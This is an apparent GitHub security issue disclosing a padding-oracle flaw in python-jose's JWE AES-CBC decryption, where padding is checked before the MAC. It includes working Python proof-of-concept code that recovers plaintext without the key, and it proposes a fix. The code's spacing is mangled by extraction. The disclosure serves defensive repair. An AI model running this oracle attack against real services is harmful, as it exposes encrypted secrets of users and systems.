Skip to content

Security vulnerability: JWE AES-CBC Padding Oracle (Full Plaintext Recovery) #402

Description

@everping

Summary

python-jose decrypts and unpads JWE ciphertext before verifying the MAC tag, creating a classic padding oracle. Three distinct error messages leak whether PKCS7 padding is valid, enabling full plaintext recovery from any AES-CBC JWE token (~128 queries per byte).

Root Cause

jose/jwe.py, _decrypt_and_auth() lines 237-250:
auth_tag_check = _auth_tag(...) # line 239: compute expected MAC
plaintext = encryption_key.decrypt(...) # line 246: DECRYPT + UNPAD (raises on bad padding!)
if auth_tag != auth_tag_check: # line 247: MAC check AFTER — too late
raise JWEError("Invalid JWE Auth Tag")

CryptographyAESKey.decrypt() (cryptography_backend.py:492-499) runs PKCS7 unpadding which raises ValueError("Invalid padding bytes.") before the MAC comparison is reached. This violates RFC 7516 Section 5.2 Step 14: MAC must be verified first.

Additionally, the MAC comparison at line 247 uses Python != (non-constant-time) instead of hmac.compare_digest().

Oracle Signals

CorruptionError MessageMeaning
Valid ciphertext, wrong tag"Invalid JWE Auth Tag"Padding valid, MAC mismatch
Corrupt ciphertext (bad padding)"Invalid padding bytes."Padding invalid (leaked before MAC check)
Wrong-length ciphertext"...not a multiple of the block length."Length error

Affected

  • Algorithms: A128CBC-HS256, A192CBC-HS384, A256CBC-HS512
  • NOT affected: A128GCM, A256GCM (authenticated decryption, single-step)
  • Comparison:authlib is NOT vulnerable (verifies MAC first with hmac.compare_digest())

Proof of Concept

pip install python-jose[cryptography]

1. Oracle Exists (different errors leak padding validity)

fromjoseimportjwefromjose.utilsimportbase64url_decode, base64url_encodekey=b"0123456789abcdef"*2token=jwe.encrypt(b"secret", key, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag=token.split(b".")
ct_raw, tag_raw=base64url_decode(ct), base64url_decode(tag)
deftry_decrypt(ct_mod=ct, tag_mod=tag):
try:
jwe.decrypt(b".".join([h, ek, iv, ct_mod, tag_mod]), key)
exceptExceptionase:
returnstr(e)
print(try_decrypt(tag_mod=base64url_encode(tag_raw[:-1] +bytes([tag_raw[-1]^0xFF]))))
# -> "Invalid JWE Auth Tag" (padding was valid, MAC wrong)print(try_decrypt(ct_mod=base64url_encode(ct_raw[:-1] +bytes([ct_raw[-1]^0x01]))))
# -> "Invalid padding bytes." (padding error LEAKED before MAC check)

Two different errors = attacker can distinguish valid vs invalid padding without knowing the key.

2. Plaintext Recovery via Oracle

Classic CBC padding oracle: flip bytes in the previous ciphertext block, observe which values produce valid padding, recover the intermediate state, XOR with original to get plaintext.

fromjoseimportjwefromjose.utilsimportbase64url_decode, base64url_encodekey=b"0123456789abcdef"*2SECRET=b"RECOVER-SECRET-PLAINTEXT-BYTES!"# 31 bytes -> 1 byte pad -> 2 blockstoken=jwe.encrypt(SECRET, key, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag=token.split(b".")
ct_raw=base64url_decode(ct)
B=16defpadding_ok(ct_mod):
try:
jwe.decrypt(b".".join([h, ek, iv, base64url_encode(ct_mod), tag]), key)
returnTrueexceptExceptionase:
return"padding"notinstr(e).lower()
prev=bytearray(ct_raw[-2*B:-B])
last=ct_raw[-B:]
I=bytearray(B) # intermediate = AES_decrypt(last_block)forposinrange(B-1, -1, -1):
pad=B-posatk=bytearray(prev)
forjinrange(pos+1, B): atk[j] =I[j] ^padforginrange(256):
atk[pos] =gifpadding_ok(ct_raw[:-(2*B)] +bytes(atk) +last):
I[pos] =g^pad; breakrecovered=bytes(I[i] ^prev[i] foriinrange(B))
print(f"Recovered: {recovered[:-recovered[-1]]}")

Output:

Recovered: b'LAINTEXT-BYTES!'

LAINTEXT-BYTES! = last 15 bytes of RECOVER-SECRET-PLAINTEXT-BYTES!, recovered without the key. Repeat for all blocks for full plaintext (~128 queries/byte).

Fix

  1. Verify MAC before decrypting (mandatory):

    auth_tag_check=_auth_tag(...)
    ifnothmac.compare_digest(auth_tag, auth_tag_check):
    raiseJWEError("Invalid JWE Auth Tag")
    plaintext=encryption_key.decrypt(...) # only after MAC passes
  2. Use constant-time comparison for MAC tag (replace != with hmac.compare_digest()).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions